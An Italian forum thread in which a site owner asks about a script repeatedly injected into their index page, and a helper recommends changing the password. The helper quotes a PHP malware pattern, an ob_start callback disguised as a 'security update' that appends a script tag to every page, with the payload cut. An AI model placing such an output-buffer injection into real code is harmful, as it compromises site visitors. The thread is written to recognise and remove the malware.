Script non richiesto nell'index

Salve a tutti!
Da qualche tempo su un sito da me gestito, viene inserito uno script lunghissimo da me non richiesto, e ogni volta che lo cancello viene nuovamente reinserito. :crycry:
Che posso fare?

Ciao, cambia la password dell'account.
Se lo script è tipo

Codice:

---

ob_start('security_update'); function security_update($buffer) { return $buffer."<script>[cut]"; } //security update

---

è un malware.
Anche il mio sito era stato colpito ma per fortuna non andava in esecuzione.

No è semplice codice javascript, inizia così:

Codice:

---

<script language="javascript">$a=" ...

---

Comunque in effetti la soluzione semplice (e più immediata) è quella di cambiare password, che è ancora quella originale, non ci avevo proprio pensato. :razz:

Grazie mille!